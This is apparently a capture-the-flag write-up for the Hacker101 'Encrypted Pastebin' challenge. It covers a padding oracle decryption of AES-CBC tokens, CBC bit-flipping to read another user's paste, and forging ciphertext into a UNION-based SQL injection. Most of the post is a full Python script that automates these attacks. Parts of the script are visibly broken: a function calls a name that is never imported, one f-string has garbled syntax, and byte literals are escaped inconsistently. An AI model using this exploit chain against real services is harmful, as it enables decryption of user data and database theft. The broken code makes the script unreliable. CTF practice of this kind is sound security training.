Hero Icon
Resume

πŸ” CTF Write-up: Encrypted Pastebin (Hacker101)

⏱ 25 minsπŸ“… Jul 26, 2025, 02:00 PM

Hacker101 CTF | Advanced Crypto Challenge | Full Python Walkthrough

Hello folks! I'm Shivam, and this is a deep-dive walkthrough of the Encrypted Pastebin challenge from Hacker101 CTF. Instead of using Perl tools like PadBuster, I tackled this challenge using Python, threading, and bit-flipping.

🚩 Flag 0: Initial Padding Error Discovery

After submitting a paste, the server returned an AES-encrypted token in the URL. By simply tampering with the post parameter (e.g., removing characters), the server threw padding errors, which confirmed encryption weaknesses.

🚩 Flag 1: Padding Oracle Attack with Python Threads

I wrote a multithreaded padding oracle attack script to decrypt the AES ciphertext block-by-block.

for i in range(1, 17):
  for guess in range(256):
    crafted = manipulated_block + real_cipher
    if oracle(crafted):
      recover plaintext

Once decrypted, the server responded with the second flag embedded in the paste body.

🚩 Flag 2: CBC Bit-Flipping for IDOR

Next up, I targeted CBC-mode malleability. By knowing the plaintext and IV for block 6, I computed a new IV to request another user’s paste.

forged_iv = xor(xor(iv6, known_plaintext), target_plaintext)

This gave me access to another encrypted post, revealing Flag 3.

🚩 Flag 3: SQL Injection via XOR Ciphertext Manipulation

The final trick was to exploit a bit-flip to convert ciphertext into a SQL injection payload. I crafted a payload like:

{"id":"7 UNION SELECT group_concat(headers),1 FROM tracking"}

I reversed the XOR logic from the decrypted block and forged a chain of ciphertext blocks, resulting in full SQLi and exfiltration of headers + Flag 4.

🐍 Full Python Script

# Importing Packages
from requests import get as get_request, post as post_request
from re import search as search_flag, findall as findall_flags
from base64 import b64decode as decode_base64, b64encode as encode_base64
from pwn import xor
from tqdm import trange
from queue import Queue
from threading import Thread

# Getting CTF URL
ctf_url = f"https://{`{`}input("\033[32m[1] Enter your ctf id: \033[0m"){`}`}.ctf.hacker101.com"
# Declaring Flags list
FLAGS = []
# Custom base64 decode used by challenge server (URL-safe variant)
def custom_decode(x):
  return b64decode(x.replace(b'~', b'=').replace(b'!', b'/').replace(b'-', b'+'))

# Custom base64 encode used by challenge server (URL-safe variant)
def custom_encode(x):
  return b64encode(x).replace(b'=', b'~').replace(b'/', b'!').replace(b'+', b'-')

# PKCS#7 padding for AES block alignment (16-byte block size)
def pad(x):
  pad_len = 16 - len(x) % 16
  return x + bytes([pad_len] * pad_len)

# Padding oracle query: returns True if padding is valid (i.e., no padding error)
def oracle(x):
  resp = get_request(url + custom_encode(x).decode())
  return 'Incorrect padding' not in resp.text and 'PaddingException' not in resp.text

# Worker function to try byte values in a given range, appends correct guess to `result`
def find_byte_range(x, suf, i, start, end, result):
  for j in range(start, end):
    padding = bytes([i ^ (i - 1)] * (i - 1))
    cur_suf = b'\\x01' * (16 - i) + bytes([j]) + xor(suf, padding)
    if oracle(cur_suf + x):
      result.append(j)
      break
# Core function to brute-force one 16-byte block using padding oracle

def brute_init(x):
  cur, suf = b'', b''
  for i in trange(1, 17):
    threads, result = [], []
    step = 4
    for t in range(64):
      start, end = t * step, (t + 1) * step if t != 63 else 256
      thread = Thread(target=find_byte_range, args=(x, suf, i, start, end, result))
      threads.append(thread)
      thread.start()
    for thread in threads: thread.join()
    if result:
      j = result[0]
      padding = bytes([i ^ (i - 1)] * (i - 1))
      cur_suf = b'\x01' * (16 - i) + bytes([j]) + xor(suf, padding)
      suf = cur_suf[16 - i:]
      cur = xor(bytes([i]), suf[0:1]) + cur
  return cur


class BlockDecryptor(Thread):
  def __init__(self, block_index, prev_ct, cur_ct, output_queue):
    Thread.__init__(self)
    self.block_index = block_index
    self.prev_ct = prev_ct
    self.cur_ct = cur_ct
    self.output_queue = output_queue
    self.oracle = lambda c: "padding" not in get_request(`{ctf_url}/?post={c}`, headers={"User-Agent": "Mozilla/5.0"}).text.lower()

  def run(self):
    print(f"\033[32m[*] Starting decryption of block {self.block_index}\033[0m")
    intermediate = bytearray(16)
    plaintext_block = bytearray(16)
    modified_block = bytearray(16)

    for padding_length in range(1, 17):
      byte_pos = 16 - padding_length
      print(f"\033[32m[+] Block {self.block_index} - guessing byte {byte_pos} (padding {padding_length})\033[0m")

      for i in range(1, padding_length):
        modified_block[-i] = intermediate[-i] ^ padding_length

      found = False
      for guess in range(256):
        modified_block[-padding_length] = guess
        crafted_cipher = bytes(modified_block) + self.cur_ct
        crafted_cipher_b64 = encode_base64(crafted_cipher).decode().replace('=', '~').replace('/', '!').replace('+', '-')

        if self.oracle(crafted_cipher_b64):
          intermediate[-padding_length] = guess ^ padding_length
          plaintext_block[-padding_length] = intermediate[-padding_length] ^ self.prev_ct[-padding_length]
          print(f"\033[32m[*] Block {self.block_index} byte {byte_pos} decrypted: {plaintext_block[-padding_length]:02x}\033[0m")
          found = True
          break

      if not found:
        print(f"\033[32m[!] Block {self.block_index} byte {byte_pos} failed to decrypt!\033[0m")

    print(f"\033[32m[*] Finished decrypting block {self.block_index}: {plaintext_block.hex()}\033[0m")
    self.output_queue.put((self.block_index, bytes(plaintext_block)))


# Handling Exceptions #
try:
  # Checking for correct ctf id #
  if get_request(ctf_url).status_code == 200:
    print("\033[33m[2] Please wait while we featch all flags. This might take 30-60minutes or more.\033[0m")
    encypted_token = post_request(ctf_url, data={"title": "Skillshetra", "body": "Skillshetra in python"}).url.replace(f"{ctf_url}/?post=", "")
    FLAGS.append(f"^FLAG^" + search_flag(r"\^FLAG\^(.*?)\$FLAG\$", get_request(f"{ctf_url}/?post=" + encypted_token[:-2]).text).group(1) + "$FLAG$")
    print("\033[32m Got the first flag.... \033[0m")

    cipher_text = decode_base64(encypted_token.replace("~", "=").replace("!", "/").replace("-", "+"))
    blocks = [cipher_text[i:i+16] for i in range(0, len(cipher_text), 16)]
    output_queue = Queue()
    threads = []
    print(f"\033[31m[*] Starting parallel decryption of {len(blocks) - 1} blocks\033[0m")
    for i in range(1, len(blocks)):
      t = BlockDecryptor(i, blocks[i-1], blocks[i], output_queue)
      t.start()
      threads.append(t)
    for t in threads: t.join()
    decrypted_blocks = [None] * (len(blocks) - 1)
    while not output_queue.empty():
      idx, block = output_queue.get()
      decrypted_blocks[idx - 1] = block
    decrypted = b"".join(decrypted_blocks)
    decrypted = decrypted[:-decrypted[-1]].decode("utf-8", errors="ignore")
    FLAGS.append(f"^FLAG^" + search_flag(r"\^FLAG\^(.*?)\$FLAG\$", decrypted).group(1) + "$FLAG$")
    print("\033[32m Got the second flag.... \033[0m")

    bxor = lambda b1, b2: bytes([x ^ y for x, y in zip(b1, b2)])
    data = decode_base64(encypted_token.replace("~", "=").replace("!", "/").replace("-", "+"))[16*(1+5):]
    iv_6 = decode_base64(encypted_token.replace("~", "=").replace("!", "/").replace("-", "+"))[16*(1+4):16*(1+5)]
    intermediate = bxor(b'$FLAG$", "id": "', iv_6)
    iv = bxor(intermediate, b'{"id":"1", "i":"')
    payload = encode_base64(iv + data).decode("utf-8").replace("=", "~").replace("/", "!").replace("+", "-")
    FLAGS.append(f"^FLAG^" + search_flag(r"\^FLAG\^(.*?)\$FLAG\$", get_request(f"{ctf_url}/?post=" + payload).text).group(1) + "$FLAG$")
    print("\033[32m Got the third flag.... \033[0m")

    url = f"{ctf_url}/?post="
    cur_param = custom_decode(encypted_token.encode())
    last = cur_param[16:32]
    known = xor(cur_param[:16], b'{"flag": "^FLAG^')
    wanted = pad(b'{"id":"7 UNION SELECT group_concat(headers), 1 FROM tracking"}')
    payload = last
    for i in range(len(wanted), 16, -16):
      payload = xor(known[:16], wanted[i-16:i]) + payload
      known = brute_init(payload[:16]) + known
    payload = custom_encode(xor(known[:16], wanted[:16]) + payload)
    payload = search_flag(r'post=([a-zA-Z0-9\-\_\!\~]+)', get_request(f"{ctf_url}/?post=" + payload.decode()).text).group(1)
    for flag in findall_flags(r"\^FLAG\^(.*?)\$FLAG\$", get_request(f"{ctf_url}/?post=" + payload).text):
      if flag not in FLAGS:
        FLAGS.append("^FLAG^" + flag + "$FLAG$")
  else:
    print("\033[33m[2] Wrong ctf id check and try again.\033[0m")
except Exception as e:
  print(f"\033[31m[3] {str(e)}\033[0m")
print(f"\033[32m[3] Your flags are: {FLAGS}\033[0m")

πŸŽ₯ Video Walkthrough

🏷️ Tags

#Hacker101 #EncryptedPastebin #CTFWriteup #PaddingOracle #CBCBitFlipping #PythonCTF #Skillshetra